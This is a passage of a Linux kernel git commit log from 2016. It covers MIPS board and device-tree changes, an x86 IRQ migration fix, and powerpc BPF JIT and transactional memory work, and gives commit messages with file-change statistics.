enable the external crystal when the RTC is first powered up. Signed-off-by: Yang Ling Cc: keguang.zhang@gmail.com Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14214/ Signed-off-by: Ralf Baechle arch/mips/include/asm/mach-loongson32/platform.h | 1 + arch/mips/loongson32/common/platform.c | 13 +++++++++++++ arch/mips/loongson32/ls1c/Makefile | 2 +- arch/mips/loongson32/ls1c/board.c | 9 ++++----- 4 files changed, 19 insertions(+), 6 deletions(-) commit 9f3b8081a4763022ccfabaffc485094be0064fa4 Author: Paul Gortmaker Date: Mon Aug 15 19:11:52 2016 -0400 MIPS: Migrate exception table users off module.h and onto extable.h These files were only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile these files. In the case of traps.c we can't dump the module.h include since it is also used to provide "print_modules". Signed-off-by: Paul Gortmaker Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13934/ Signed-off-by: Ralf Baechle arch/mips/kernel/module.c | 1 + arch/mips/kernel/traps.c | 1 + arch/mips/mm/extable.c | 2 +- 3 files changed, 3 insertions(+), 1 deletion(-) commit 6f42e0e384d64b5cd308fa319c6c57044f144eca Author: Paul Gortmaker Date: Mon Aug 15 16:30:55 2016 -0400 MIPS: Lantiq: Make xrx200_phy_fw explicitly non-modular The Kconfig currently controlling compilation of this code is: arch/mips/lantiq/Kconfig:config XRX200_PHY_FW arch/mips/lantiq/Kconfig: bool "XRX200 PHY firmware loader" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. We don't replace module.h with init.h since the file doesn't need that. Signed-off-by: Paul Gortmaker Cc: John Crispin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13932/ Signed-off-by: Ralf Baechle arch/mips/lantiq/xway/xrx200_phy_fw.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 0008ef9b159598fb209c134e111381f4fa263dc4 Author: Paul Gortmaker Date: Mon Aug 15 16:30:54 2016 -0400 MIPS: Lantiq: Make vmmc explicitly non-modular The Makefile entry controlling compilation of this code is: arch/mips/lantiq/xway/vmmc.o ---> arch/mips/lantiq/xway/Makefile:obj-y += vmmc.o ...meaning that it currently is not being built as a module by anyone. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We replace module.h with export.h since the file does actually use EXPORT_SYMBOL. Signed-off-by: Paul Gortmaker Cc: John Crispin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13930/ Signed-off-by: Ralf Baechle arch/mips/lantiq/xway/vmmc.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 62ee73d284e796d6df292b3df8c65e63a78a11a7 Author: Paul Gortmaker Date: Mon Aug 15 16:30:53 2016 -0400 MIPS: ralink: Make timer explicitly non-modular The Makefile entry controlling compilation of this code is "obj-y" meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. We explicitly disallow a driver unbind, since that doesn't have a sensible use case anyway, and it allows us to drop the ".remove" code for non-modular drivers. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. We don't replace module.h with init.h since the file already has that. Signed-off-by: Paul Gortmaker Cc: John Crispin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13931/ Signed-off-by: Ralf Baechle arch/mips/ralink/timer.c | 28 +++++++--------------------- 1 file changed, 7 insertions(+), 21 deletions(-) commit 191084bca8312956cc96f5ef471416c8bc08cef7 Author: Paul Gortmaker Date: Mon Aug 15 16:30:52 2016 -0400 MIPS: BCM47xx: Make serial explicitly non-modular The Makefile entry controlling compilation of this code is "obj-y" meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. Since module_init translates to device_initcall in the non-modular case, the init ordering remains unchanged with this commit. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker Cc: Hauke Mehrtens Cc: "Rafał Miłecki" Cc: Aurelien Jarno Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13933/ Signed-off-by: Ralf Baechle arch/mips/bcm47xx/serial.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit d2b965b24895bbeb9c3da59da64eaa67d2d54cc3 Author: Matt Redfearn Date: Wed Aug 10 17:11:03 2016 +0100 MIPS: Delete unused file smp-gic.c Commit 7eb8c99db26c ("MIPS: Delete smp-gic.c") removed the file from the Makefile and the option to build it from KConfig, but left the file itself floating in the tree. Remove the unused source file. Signed-off-by: Matt Redfearn Cc: Qais Yousef Cc: paul.burton@imgtec.com Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13883/ Signed-off-by: Ralf Baechle arch/mips/kernel/smp-gic.c | 66 ---------------------------------------------- 1 file changed, 66 deletions(-) commit f715677f8f130967c34ee915e13e4bf2c924c64a Author: Fabian Frederick Date: Fri Aug 12 23:59:19 2016 +0200 MIPS: pistachio: Remove ANDROID_TIMED_OUTPUT from defconfig. According to commit 9f6b68774f29 ("android: remove timed output/gpio driver") Signed-off-by: Fabian Frederick Cc: Rob Herring Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13904/ Signed-off-by: Ralf Baechle arch/mips/configs/pistachio_defconfig | 1 - 1 file changed, 1 deletion(-) commit 94a2de0fdb3466f92694fcff7e494344c2a744ea Author: Markus Elfring Date: Mon Aug 15 19:29:09 2016 +0200 MIPS: pci-mt7620: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Cc: John Crispin Cc: Matthias Brugger Cc: Julia Lawall Cc: Wei Yongjun Cc: linux-arm-kernel@lists.infradead.org Cc: linux-mediatek@lists.infradead.org Cc: linux-mips@linux-mips.org Cc: LKML Cc: kernel-janitors@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13929/ Signed-off-by: Ralf Baechle arch/mips/pci/pci-mt7620.c | 1 - 1 file changed, 1 deletion(-) commit 765b06479a47529336458598809d29d59b40ab65 Author: Matt Redfearn Date: Thu Aug 4 17:19:38 2016 +0100 MIPS: Move identification of VP(E) into proc.c from smp-mt.c The addition of VPE information to /proc/cpuinfo used to be in smp-mt.c. This file is not used by MIPS r6 kernels, so the Virtual Processor information was not present for these CPU types. Move the code to print VPE information into proc.c, add a case for MIPS r6 CPUS, and remove the block from smp-mt.c. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Qais Yousef Cc: Zubair Lutfullah Kakakhel Cc: Thomas Gleixner Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13847/ Signed-off-by: Ralf Baechle arch/mips/kernel/proc.c | 7 +++++++ arch/mips/kernel/smp-mt.c | 23 ----------------------- 2 files changed, 7 insertions(+), 23 deletions(-) commit 5b9a15e891b80d0ea8bdb1bb571d01af83839803 Author: Yang Ling Date: Thu May 19 12:31:57 2016 +0800 MIPS: Loongson1C: Add defconfig Signed-off-by: Yang Ling Cc: keguang.zhang@gmail.com Cc: chenhc@lemote.com Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13305/ Signed-off-by: Ralf Baechle arch/mips/configs/loongson1c_defconfig | 126 +++++++++++++++++++++++++++++++++ 1 file changed, 126 insertions(+) commit 12e3280b33fe1ada85b84f67613d03e1b6d8dbf6 Author: Yang Ling Date: Thu May 19 12:29:30 2016 +0800 MIPS: Loongson1C: Add board support Adds basic platform devices for Loongson1C, including serial port and ethernet. Signed-off-by: Yang Ling Cc: keguang.zhang@gmail.com Cc: chenhc@lemote.com Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13304/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 13 +++++ arch/mips/include/asm/mach-loongson32/irq.h | 41 ++++++++++++++- arch/mips/include/asm/mach-loongson32/loongson1.h | 5 ++ arch/mips/include/asm/mach-loongson32/regs-clk.h | 34 +++++++++++++ arch/mips/include/asm/mach-loongson32/regs-mux.h | 61 +++++++++++++++++++++++ arch/mips/loongson32/Kconfig | 15 ++++++ arch/mips/loongson32/Makefile | 6 +++ arch/mips/loongson32/Platform | 1 + arch/mips/loongson32/common/irq.c | 55 ++++++++++++++++++-- arch/mips/loongson32/common/platform.c | 19 +++++++ arch/mips/loongson32/common/setup.c | 4 ++ arch/mips/loongson32/ls1c/Makefile | 5 ++ arch/mips/loongson32/ls1c/board.c | 28 +++++++++++ 13 files changed, 283 insertions(+), 4 deletions(-) commit a1ca83869d4ea65afd5a6a403d5d5ec2c41ef60e Author: Yang Ling Date: Thu May 19 12:22:19 2016 +0800 MIPS: Add CPU support for Loongson1C Loongson1C is a 32-bit SoC designed by Loongson Technology Co., Ltd, with many features similar to Loongson1B. Signed-off-by: Yang Ling Cc: paul.burton@imgtec.com Cc: markos.chandras@imgtec.com Cc: james.hogan@imgtec.com Cc: kumba@gentoo.org Cc: macro@imgtec.com Cc: david.daney@cavium.com Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13303/ Signed-off-by: Ralf Baechle arch/mips/include/asm/cpu-type.h | 3 ++- arch/mips/include/asm/cpu.h | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) commit fd6ecf42fb345e5a53fa2edc91162022e31cee41 Author: Aaro Koskinen Date: Tue May 24 17:09:31 2016 +0300 MIPS: Octeon: Rename upper case variables at setup time. Rename upper case variables. Signed-off-by: Aaro Koskinen Acked-by: David Daney Cc: Sivasubramanian Palanisamy Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13352/ Signed-off-by: Ralf Baechle arch/mips/cavium-octeon/setup.c | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) commit 4c0f5a7124aa74b1a99035ca3d12f83c734e7fe8 Author: Aaro Koskinen Date: Tue May 24 17:09:30 2016 +0300 MIPS: Octeon: Take all memory into use by default. Take all memory into use by default, instead of limiting to 512 MB. Signed-off-by: Aaro Koskinen Acked-by: David Daney Cc: Sivasubramanian Palanisamy Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/13353/ Signed-off-by: Ralf Baechle arch/mips/cavium-octeon/setup.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ef0c592ad099fd443d8aad36719f26f62acea18a Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:30 2016 +0200 MIPS: BMIPS: Add device tree example for BCM6362 This adds a device tree example for SFR NeufBox 6. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13844/ Signed-off-by: Ralf Baechle arch/mips/bmips/Kconfig | 4 + arch/mips/boot/dts/brcm/Makefile | 2 + .../boot/dts/brcm/bcm6362-neufbox6-sercomm.dts | 22 ++++ arch/mips/boot/dts/brcm/bcm6362.dtsi | 134 +++++++++++++++++++++ 4 files changed, 162 insertions(+) commit 8e385a66d7db14599457fdc7898403c1fa24acb4 Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:29 2016 +0200 MIPS: BMIPS: Add BCM6362 support BCM6362 is a BMIPS4350 SoC which needs the same fixup as BCM6368 in order to enable SMP support. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13845/ Signed-off-by: Ralf Baechle Documentation/devicetree/bindings/mips/brcm/soc.txt | 2 +- arch/mips/bmips/setup.c | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 484d83b3d6a0b49b5f26bd9a375b9a1575e09682 Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:28 2016 +0200 MIPS: BMIPS: Add device tree example for BCM3368 This adds a device tree example for Netgear CVG834G. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13843/ Signed-off-by: Ralf Baechle arch/mips/bmips/Kconfig | 4 + arch/mips/boot/dts/brcm/Makefile | 2 + .../mips/boot/dts/brcm/bcm3368-netgear-cvg834g.dts | 22 +++++ arch/mips/boot/dts/brcm/bcm3368.dtsi | 101 +++++++++++++++++++++ 4 files changed, 129 insertions(+) commit 4bac0e2afc7b7603c1781733629254d7a6b9a83c Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:27 2016 +0200 MIPS: BMIPS: Add BCM3368 support BCM3368 has a shared TLB which conflicts with current SMP support, so it must be disabled for now. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13840/ Signed-off-by: Ralf Baechle Documentation/devicetree/bindings/mips/brcm/soc.txt | 2 +- arch/mips/bmips/setup.c | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) commit 786e19a88895b6401313adfd5bc72789dc44f631 Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:26 2016 +0200 MIPS: BMIPS: Add device tree example for BCM63268 This adds a device tree example for Comtrend VR-3032u, which also serves as a real example for brcm,bcm6328-leds. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13842/ Signed-off-by: Ralf Baechle arch/mips/bmips/Kconfig | 4 + arch/mips/boot/dts/brcm/Makefile | 2 + .../boot/dts/brcm/bcm63268-comtrend-vr-3032u.dts | 108 +++++++++++++++++ arch/mips/boot/dts/brcm/bcm63268.dtsi | 134 +++++++++++++++++++++ 4 files changed, 248 insertions(+) commit 695835511f96599911f5ab28329e75a598a1116b Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:25 2016 +0200 MIPS: BMIPS: rename bcm96358nb4ser to bcm6358-neufbox4-sercom The prefix bcm9* should only be used for reference and evaluation boards from Broadcom. Also adds missing console output to bootargs. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13841/ Signed-off-by: Ralf Baechle arch/mips/bmips/Kconfig | 8 ++-- arch/mips/boot/dts/brcm/Makefile | 3 +- .../boot/dts/brcm/bcm6358-neufbox4-sercomm.dts | 47 ++++++++++++++++++++++ arch/mips/boot/dts/brcm/bcm96358nb4ser.dts | 46 --------------------- 4 files changed, 53 insertions(+), 51 deletions(-) commit 5035dd83cc57c7789ad38e0fe46b1e5796ca9079 Author: Álvaro Fernández Rojas Date: Wed Aug 3 11:58:24 2016 +0200 MIPS: BMIPS: add missing bcm97435svmb to DT_NONE Commit 380e4270 added support for bcm97435svmb.dtb but missed adding it to DT_NONE. Also refactor DT_NONE dtbs in order to add larger names in the future. Signed-off-by: Álvaro Fernández Rojas Cc: f.fainelli@gmail.com Cc: jogo@openwrt.org Cc: cernekee@gmail.com Cc: robh@kernel.org Cc: simon@fire.lp0.eu Cc: john@phrozen.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13839/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/brcm/Makefile | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) commit 80b7978c6014c65e3ee66cb31e6ba0167f2a59b7 Author: Paul Gortmaker Date: Wed Aug 3 15:03:59 2016 -0400 MIPS: Don't specify STACKPROTECTOR in defconfigs Only one defconfig has a STACKPROTECTOR value. And it asks for the strong variant, which isn't supported by older toolchains. Due to the nature of MIPS having more platform specific code than say x86, the allyesconfig and allmodconfig aren't as effective for build coverage. So, in addition, I like to use a trivial script to walk all the defconfigs and build each one. However I will get false positives on unsupported stackprotector values with an older toolchain like gcc-4.6.3. As in this instance I am just using the compiler as a glorified syntax checker on a machine where I build a bunch of other arch for the same reason, there is no real motivation to get a newer toolchain for improved optimization etc. Since there is only one of them, and there is nothing about these settings that are board/platform specific, I propose we just eliminate the existing instance and take the default. Signed-off-by: Paul Gortmaker Acked-by: James Hartley Cc: Ionela Voinescu Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13846/ Signed-off-by: Ralf Baechle arch/mips/configs/pistachio_defconfig | 1 - 1 file changed, 1 deletion(-) commit 8ddee393a566a4df0b2dbbf1baeaad3a61999b6b Author: Lucas Stach Date: Fri Sep 30 17:27:52 2016 +0200 dt-bindings: add vendor prefix for Auvidea GmbH Auvidea (http://www.auvidea.eu/) produces embedded devices and baseboards with a focus on audio and video technology. Signed-off-by: Lucas Stach Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit db91aa793ff984ac048e199ea1c54202543952fe Author: Mika Westerberg Date: Mon Oct 3 13:17:08 2016 +0300 x86/irq: Prevent force migration of irqs which are not in the vector domain When a CPU is about to be offlined we call fixup_irqs() that resets IRQ affinities related to the CPU in question. The same thing is also done when the system is suspended to S-states like S3 (mem). For each IRQ we try to complete any on-going move regardless whether the IRQ is actually part of x86_vector_domain. For each IRQ descriptor we fetch its chip_data, assume it is of type struct apic_chip_data and manipulate it by clearing old_domain mask etc. For irq_chips that are not part of the x86_vector_domain, like those created by various GPIO drivers, will find their chip_data being changed unexpectly. Below is an example where GPIO chip owned by pinctrl-sunrisepoint.c gets corrupted after resume: # cat /sys/kernel/debug/gpio gpiochip0: GPIOs 360-511, parent: platform/INT344B:00, INT344B:00: gpio-511 ( |sysfs ) in hi # rtcwake -s10 -mmem <10 seconds passes> # cat /sys/kernel/debug/gpio gpiochip0: GPIOs 360-511, parent: platform/INT344B:00, INT344B:00: gpio-511 ( |sysfs ) in ? Note '?' in the output. It means the struct gpio_chip ->get function is NULL whereas before suspend it was there. Fix this by first checking that the IRQ belongs to x86_vector_domain before we try to use the chip_data as struct apic_chip_data. Reported-and-tested-by: Sakari Ailus Signed-off-by: Mika Westerberg Cc: stable@vger.kernel.org # 4.4+ Link: http://lkml.kernel.org/r/20161003101708.34795-1-mika.westerberg@linux.intel.com Signed-off-by: Thomas Gleixner arch/x86/kernel/apic/vector.c | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) commit b7b7013cac55d794940bd9cb7b7c55c9dececac4 Author: Naveen N. Rao Date: Sat Sep 24 02:05:02 2016 +0530 powerpc/bpf: Add support for bpf constant blinding In line with similar support for other architectures by Daniel Borkmann. 'MOD Default X' from test_bpf without constant blinding: 84 bytes emitted from JIT compiler (pass:3, flen:7) d0000000058a4688 + : 0: nop 4: nop 8: std r27,-40(r1) c: std r28,-32(r1) 10: xor r8,r8,r8 14: xor r28,r28,r28 18: mr r27,r3 1c: li r8,66 20: cmpwi r28,0 24: bne 0x0000000000000030 28: li r8,0 2c: b 0x0000000000000044 30: divwu r9,r8,r28 34: mullw r9,r28,r9 38: subf r8,r9,r8 3c: rotlwi r8,r8,0 40: li r8,66 44: ld r27,-40(r1) 48: ld r28,-32(r1) 4c: mr r3,r8 50: blr ... and with constant blinding: 140 bytes emitted from JIT compiler (pass:3, flen:11) d00000000bd6ab24 + : 0: nop 4: nop 8: std r27,-40(r1) c: std r28,-32(r1) 10: xor r8,r8,r8 14: xor r28,r28,r28 18: mr r27,r3 1c: lis r2,-22834 20: ori r2,r2,36083 24: rotlwi r2,r2,0 28: xori r2,r2,36017 2c: xoris r2,r2,42702 30: rotlwi r2,r2,0 34: mr r8,r2 38: rotlwi r8,r8,0 3c: cmpwi r28,0 40: bne 0x000000000000004c 44: li r8,0 48: b 0x000000000000007c 4c: divwu r9,r8,r28 50: mullw r9,r28,r9 54: subf r8,r9,r8 58: rotlwi r8,r8,0 5c: lis r2,-17137 60: ori r2,r2,39065 64: rotlwi r2,r2,0 68: xori r2,r2,39131 6c: xoris r2,r2,48399 70: rotlwi r2,r2,0 74: mr r8,r2 78: rotlwi r8,r8,0 7c: ld r27,-40(r1) 80: ld r28,-32(r1) 84: mr r3,r8 88: blr Signed-off-by: Naveen N. Rao Acked-by: Daniel Borkmann Signed-off-by: Michael Ellerman arch/powerpc/net/bpf_jit64.h | 9 +++++---- arch/powerpc/net/bpf_jit_comp64.c | 36 +++++++++++++++++++++++++++++------- 2 files changed, 34 insertions(+), 11 deletions(-) commit ce0761419faefbe9e450749ccc879ff88843af12 Author: Naveen N. Rao Date: Sat Sep 24 02:05:01 2016 +0530 powerpc/bpf: Implement support for tail calls Tail calls allow JIT'ed eBPF programs to call into other JIT'ed eBPF programs. This can be achieved either by: (1) retaining the stack setup by the first eBPF program and having all subsequent eBPF programs re-using it, or, (2) by unwinding/tearing down the stack and having each eBPF program deal with its own stack as it sees fit. To ensure that this does not create loops, there is a limit to how many tail calls can be done (currently 32). This requires the JIT'ed code to maintain a count of the number of tail calls done so far. Approach (1) is simple, but requires every eBPF program to have (almost) the same prologue/epilogue, regardless of whether they need it. This is inefficient for small eBPF programs which may not sometimes need a prologue at all. As such, to minimize impact of tail call implementation, we use approach (2) here which needs each eBPF program in the chain to use its own prologue/epilogue. This is not ideal when many tail calls are involved and when all the eBPF programs in the chain have similar prologue/epilogue. However, the impact is restricted to programs that do tail calls. Individual eBPF programs are not affected. We maintain the tail call count in a fixed location on the stack and updated tail call count values are passed in through this. The very first eBPF program in a chain sets this up to 0 (the first 2 instructions). Subsequent tail calls skip the first two eBPF JIT instructions to maintain the count. For programs that don't do tail calls themselves, the first two instructions are NOPs. Signed-off-by: Naveen N. Rao Signed-off-by: Michael Ellerman arch/powerpc/include/asm/ppc-opcode.h | 2 + arch/powerpc/net/bpf_jit.h | 2 + arch/powerpc/net/bpf_jit64.h | 1 + arch/powerpc/net/bpf_jit_comp64.c | 149 +++++++++++++++++++++++++++------- 4 files changed, 126 insertions(+), 28 deletions(-) commit 7b847f523fe07b4ad73a01cec49a4da86a9be412 Author: Naveen N. Rao Date: Sat Sep 24 02:05:00 2016 +0530 powerpc/bpf: Introduce accessors for using the tmp local stack space While at it, ensure that the location of the local save area is consistent whether or not we setup our own stackframe. This property is utilised in the next patch that adds support for tail calls. Signed-off-by: Naveen N. Rao Signed-off-by: Michael Ellerman arch/powerpc/net/bpf_jit64.h | 16 +++++--- arch/powerpc/net/bpf_jit_comp64.c | 79 ++++++++++++++++++++++----------------- 2 files changed, 55 insertions(+), 40 deletions(-) commit 2685f826e5ffd1ab73b26fd5ac4e1f7048cb6ff6 Author: Michael Ellerman Date: Fri Sep 30 10:51:46 2016 +1000 powerpc/fadump: Fix build break when CONFIG_PROC_VMCORE=n The fadump code calls vmcore_cleanup() which only exists if CONFIG_PROC_VMCORE=y. We don't want to depend on CONFIG_PROC_VMCORE, because it's user selectable, so just wrap the call in an #ifdef. Signed-off-by: Michael Ellerman arch/powerpc/kernel/fadump.c | 2 ++ 1 file changed, 2 insertions(+) commit 5d176f751ee3c6eededd984ad409bff201f436a7 Author: Cyril Bur Date: Wed Sep 14 18:02:16 2016 +1000 powerpc: tm: Enable transactional memory (TM) lazily for userspace Currently the MSR TM bit is always set if the hardware is TM capable. This adds extra overhead as it means the TM SPRS (TFHAR, TEXASR and TFAIR) must be swapped for each process regardless of if they use TM. For processes that don't use TM the TM MSR bit can be turned off allowing the kernel to avoid the expensive swap of the TM registers. A TM unavailable exception will occur if a thread does use TM and the kernel will enable MSR_TM and leave it so for some time afterwards. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/include/asm/processor.h | 1 + arch/powerpc/kernel/process.c | 28 +++++++++++++++++++++++----- arch/powerpc/kernel/traps.c | 9 +++++++++ 3 files changed, 33 insertions(+), 5 deletions(-) commit 172f7aaa75d0eaae167edde25c08aae9059e80fc Author: Cyril Bur Date: Wed Sep 14 18:02:15 2016 +1000 powerpc/tm: Add TM Unavailable Exception If the kernel disables transactional memory (TM) and userspace still tries TM related actions (TM instructions or TM SPR accesses) TM aware hardware will cause the kernel to take a facility unavailable exception. Add checks for the exception being caused by illegal TM access in userspace. Signed-off-by: Cyril Bur [mpe: Rewrite comment entirely, bugs in it are mine] Signed-off-by: Michael Ellerman arch/powerpc/kernel/traps.c | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit d986d6f4d0ee30ad096ed7e59670f56ca8f23b57 Author: Cyril Bur Date: Fri Sep 23 16:18:26 2016 +1000 powerpc: Remove do_load_up_transact_{fpu,altivec} Previous rework of TM code leaves these functions unused Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/include/asm/tm.h | 5 ----- arch/powerpc/kernel/fpu.S | 26 -------------------------- arch/powerpc/kernel/vector.S | 25 ------------------------- 3 files changed, 56 deletions(-) commit 000ec280e3dd5c77a5227db27bfda1511e26db9a Author: Cyril Bur Date: Fri Sep 23 16:18:25 2016 +1000 powerpc: tm: Rename transct_(*) to ck(\1)_state Make the structures being used for checkpointed state named consistently with the pt_regs/ckpt_regs. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/include/asm/processor.h | 8 ++--- arch/powerpc/kernel/asm-offsets.c | 12 ++++---- arch/powerpc/kernel/fpu.S | 2 +- arch/powerpc/kernel/process.c | 4 +-- arch/powerpc/kernel/ptrace.c | 46 +++++++++++++-------------- arch/powerpc/kernel/signal.h | 8 ++--- arch/powerpc/kernel/signal_32.c | 60 ++++++++++++++++++------------------ arch/powerpc/kernel/signal_64.c | 32 +++++++++---------- arch/powerpc/kernel/tm.S | 12 ++++---- arch/powerpc/kernel/vector.S | 4 +-- 10 files changed, 94 insertions(+), 94 deletions(-) commit dc3106690b20305c3df06b42456fe386dd632ac9 Author: Cyril Bur Date: Fri Sep 23 16:18:24 2016 +1000 powerpc: tm: Always use fp_state and vr_state to store live registers There is currently an inconsistency as to how the entire CPU register state is saved and restored when a thread uses transactional memory (TM). Using transactional memory results in the CPU having duplicated (almost) all of its register state. This duplication results in a set of registers which can be considered 'live', those being currently modified by the instructions being executed and another set that is frozen at a point in time. On context switch, both sets of state have to be saved and (later) restored. These two states are often called a variety of different things. Common terms for the state which only exists after the CPU has entered a transaction (performed a TBEGIN instruction) in hardware are 'transactional' or 'speculative'. Between a TBEGIN and a TEND or TABORT (or an event that causes the hardware to abort), regardless of the use of TSUSPEND the transactional state can be referred to as the live state. The second state is often to referred to as the 'checkpointed' state and is a duplication of the live state when the TBEGIN instruction is executed. This state is kept in the hardware and will be rolled back to on transaction failure. Currently all the registers stored in pt_regs are ALWAYS the live registers, that is, when a thread has transactional registers their values are stored in pt_regs and the checkpointed state is in ckpt_regs. A strange opposite is true for fp_state/vr_state. When a thread is non transactional fp_state/vr_state holds the live registers. When a thread has initiated a transaction fp_state/vr_state holds the checkpointed state and transact_fp/transact_vr become the structure which holds the live state (at this point it is a transactional state). This method creates confusion as to where the live state is, in some circumstances it requires extra work to determine where to put the live state and prevents the use of common functions designed (probably before TM) to save the live state. With this patch pt_regs, fp_state and vr_state all represent the same thing and the other structures [pending rename] are for checkpointed state. Acked-by: Simon Guo Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/include/asm/processor.h | 7 +- arch/powerpc/kernel/process.c | 83 +++-------- arch/powerpc/kernel/ptrace.c | 278 +++++++++-------------------------- arch/powerpc/kernel/signal_32.c | 50 +++---- arch/powerpc/kernel/signal_64.c | 54 +++---- arch/powerpc/kernel/tm.S | 94 ++++++------ arch/powerpc/kernel/traps.c | 